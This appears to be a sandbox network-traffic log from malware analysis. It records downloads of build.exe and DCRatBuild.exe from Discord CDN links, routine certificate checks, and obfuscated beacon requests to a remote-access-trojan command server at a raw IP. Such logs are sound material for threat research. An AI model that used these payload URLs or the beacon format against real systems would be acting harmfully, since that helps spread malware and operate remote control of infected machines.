Network Analysis

GET /attachments/841783192217452566/843779615813533706/build.exe HTTP/1.1 Host: cdn.discordapp.com Accept: */*

HTTP/1.1 200 OK Date: Tue, 18 May 2021 00:14:31 GMT Content-Type: application/x-msdos-program Content-Length: 611328 Connection: keep-alive CF-Ray: 6510e2c85add619b-ICN Accept-Ranges: bytes Age: 34779 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=build.exe ETag: "dcb618f5fba4154efd8f11a800e255fd" Expires: Wed, 18 May 2022 00:14:31 GMT Last-Modified: Mon, 17 May 2021 09:18:57 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0a1e6c11340000619bbd3f4000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1621243137154259 x-goog-hash: crc32c=cgAmQg== x-goog-hash: md5=3LYY9fukFU79jxGoAOJV/Q== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 611328 X-GUploader-UploadID: ABg5-UzmePmmA1MPgzm_S8Z3xpt-TxdAPmxkLicbIUD7OFBFZqp6ckzY3zEY-FDZNl8tei5ipHptNJpRVd2mz9745aY X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=%2FJ9nE3u6ksQw0vkzB1w7ZLm8i%2BA1Qbja2d%2F3Hf6eg3OPPGNczEycUP7qxi3bVUyG83e71sJ0rjZiqWNHNdu4m52Xc3BYH71TYSVaBpW41Ddpl1A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/841783192217452566/843559143889829908/DCRatBuild.exe HTTP/1.1 Host: cdn.discordapp.com Accept: */*

HTTP/1.1 200 OK Date: Tue, 18 May 2021 00:14:32 GMT Content-Type: application/x-msdos-program Content-Length: 987309 Connection: keep-alive CF-Ray: 6510e2cae872a1cb-ICN Accept-Ranges: bytes Age: 101176 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=DCRatBuild.exe ETag: "c487ecb5b371b972df9cde5cc646db65" Expires: Wed, 18 May 2022 00:14:32 GMT Last-Modified: Sun, 16 May 2021 18:42:52 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0a1e6c12d20000a1cba5855000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1621190572524432 x-goog-hash: crc32c=r/aKFg== x-goog-hash: md5=xIfstbNxuXLfnN5cxkbbZQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 987309 X-GUploader-UploadID: ABg5-UwYia6GPpHi1Nkl5xzWu0GYv1nHjlMx6iUuKiRrdE1AlRvHYVC1nkQuGJwDApFIg7uOQ1rVCR1cwla-cKSai4Q X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=IuZgsBP%2BvpIwCK9cmOeS9K6e4kT3cfIiTpm7PAff0mIkjL15Q%2BO6Ln%2B1TOlN9t%2BpC9rGTD5H%2FcD9W1FtNA3S7hj2G9T3M3zo0yT%2FR51RTAlWwMQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAo3h2ReX7SMIk79G%2B0UDDw%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5652 Cache-Control: max-age=165759 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:14:31 GMT Etag: "60a2d552-5e3" Expires: Wed, 19 May 2021 22:17:10 GMT Last-Modified: Mon, 17 May 2021 20:42:58 GMT Server: ECS (tkb/7374) X-Cache: HIT Content-Length: 1507

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D HTTP/1.1 Cache-Control: max-age = 100957 Connection: Keep-Alive Accept: */* If-Modified-Since: Sun, 03 May 2020 18:13:11 GMT If-None-Match: "5eaf09b7-5e3" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6225 Cache-Control: max-age=156586 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:01 GMT Etag: "60a2af5e-5fb" Expires: Wed, 19 May 2021 19:44:47 GMT Last-Modified: Mon, 17 May 2021 18:01:02 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 1531

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D HTTP/1.1 Cache-Control: max-age = 161317 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 04 May 2020 11:01:53 GMT If-None-Match: "5eaff621-1d7" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6100 Cache-Control: max-age=130538 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:01 GMT Etag: "60a24a1b-1d7" Expires: Wed, 19 May 2021 12:30:39 GMT Last-Modified: Mon, 17 May 2021 10:48:59 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 471

GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1 Connection: Keep-Alive Accept: */* If-Modified-Since: Sun, 17 May 2020 05:00:57 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.microsoft.com

HTTP/1.1 200 OK Content-Length: 519 Content-Type: application/octet-stream Content-MD5: 6Vr5sDUT1ynSj9iQz/Tr6Q== Last-Modified: Tue, 30 Mar 2021 15:18:44 GMT ETag: 0x8D8F38F1BA23B59 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f18616f4-401e-0050-077a-255878000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 18 May 2021 00:15:01 GMT Connection: keep-alive

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1 Connection: Keep-Alive Accept: */* If-Modified-Since: Fri, 05 Jun 2020 05:01:05 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.microsoft.com

HTTP/1.1 200 OK Content-Length: 767 Content-Type: application/pkix-crl Content-MD5: aHL66CiNs0IH2efuNQFX9A== Last-Modified: Fri, 07 May 2021 05:00:53 GMT ETag: 0x8D91115179E37D7 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 9cdb17c9-f01e-008e-7d07-4308d1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 18 May 2021 00:15:01 GMT Connection: keep-alive

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSYagvY3tfizDNoybzVSPFZmSEm0wQUe2jOKarAF75JeuHlP9an90WPNTICEAUwi3asLhWylyD7Q5X2Xzg%3D HTTP/1.1 Cache-Control: max-age = 168680 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 04 May 2020 12:56:39 GMT If-None-Match: "5eb01107-1d7" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5451 Cache-Control: max-age=136686 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:01 GMT Etag: "60a264a8-1d7" Expires: Wed, 19 May 2021 14:13:07 GMT Last-Modified: Mon, 17 May 2021 12:42:16 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 471

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1 Connection: Keep-Alive Accept: */* If-Modified-Since: Fri, 15 May 2020 05:01:08 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.microsoft.com

HTTP/1.1 200 OK Content-Length: 564 Content-Type: application/octet-stream Content-MD5: 4HF4kBpOqsKBa7I47DqA2w== Last-Modified: Tue, 11 Aug 2020 21:46:56 GMT ETag: 0x8D83E4011579DF4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f4146ee2-601e-0008-5c54-a15c03000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 18 May 2021 00:15:01 GMT Connection: keep-alive

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA%2BoSQYV1wCgviF2%2FcXsbb0%3D HTTP/1.1 Cache-Control: max-age = 142393 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 04 May 2020 05:44:19 GMT If-None-Match: "5eafabb3-1d7" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1783 Cache-Control: max-age=106782 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:01 GMT Etag: "60a1fe2c-1d7" Expires: Wed, 19 May 2021 05:54:43 GMT Last-Modified: Mon, 17 May 2021 05:25:00 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 471

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D HTTP/1.1 Cache-Control: max-age = 156981 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 04 May 2020 09:47:37 GMT If-None-Match: "5eafe4b9-1d7" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1524 Cache-Control: max-age=121282 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:01 GMT Etag: "60a237d4-1d7" Expires: Wed, 19 May 2021 09:56:23 GMT Last-Modified: Mon, 17 May 2021 09:31:00 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 471

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAtqs7A%2Bsan2xGCSaqjN%2FrM%3D HTTP/1.1 Cache-Control: max-age = 118503 Connection: Keep-Alive Accept: */* If-Modified-Since: Sun, 03 May 2020 22:54:06 GMT If-None-Match: "5eaf4b8e-5e3" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1347 Cache-Control: max-age=168263 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:02 GMT Etag: "60a2f00a-5fb" Expires: Wed, 19 May 2021 22:59:25 GMT Last-Modified: Mon, 17 May 2021 22:36:58 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 1531

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Cache-Control: max-age = 155550 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 02 Nov 2020 01:03:00 GMT If-None-Match: "5f9f5ac4-1d7" User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com

HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2666 Cache-Control: max-age=89302 Content-Type: application/ocsp-response Date: Tue, 18 May 2021 00:15:02 GMT Etag: "60a1b672-1d7" Expires: Wed, 19 May 2021 01:03:24 GMT Last-Modified: Mon, 17 May 2021 00:18:58 GMT Server: ECS (tkb/7319) X-Cache: HIT Content-Length: 471

GET /processorDefault.php?iu=mz7PKhpn3AIZq5efow1dQ6914SBfB&HK1Vy37nlY5quElyg=1XvN&46203bcc475d4509a3a86d65325f8855=d0f20e2b176e1456ae89e4aa36cdd07d&iu=mz7PKhpn3AIZq5efow1dQ6914SBfB&HK1Vy37nlY5quElyg=1XvN HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 82.146.59.236 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 18 May 2021 00:16:17 GMT Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 71 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

GET /processorDefault.php?iu=mz7PKhpn3AIZq5efow1dQ6914SBfB&HK1Vy37nlY5quElyg=1XvN&aabb8f74bac12735e9499cd9c6b8baf5=365da4edf7808b477a8d10cbf7405c61&f53d57fa5ca170272892cd3c6aa17be0=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&iu=mz7PKhpn3AIZq5efow1dQ6914SBfB&HK1Vy37nlY5quElyg=1XvN HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 82.146.59.236

HTTP/1.1 200 OK Date: Tue, 18 May 2021 00:16:17 GMT Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 222 Content-Type: text/html; charset=UTF-8

GET /processorDefault.php?iu=mz7PKhpn3AIZq5efow1dQ6914SBfB&HK1Vy37nlY5quElyg=1XvN&8132fb67618ecd9be106ef9ba3717022=QM5EjZxU2YjdTZykDNwQjN3YzN2IDNjlTZ0UzYwYWY2YmMlRDN0MGM5cjNwcTN2gjM0YTM4MzN&f53d57fa5ca170272892cd3c6aa17be0=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&095b88682a67bcf69516cfbd401a51e6=u4iL5J3b0NWZylGZgcmbp5mbhN2U&c5c532831db1a7dab19172319a0ff14a=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&c6dd1cba03876c3affd0f11b003ca4a6=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 82.146.59.236

HTTP/1.1 200 OK Date: Tue, 18 May 2021 00:16:19 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8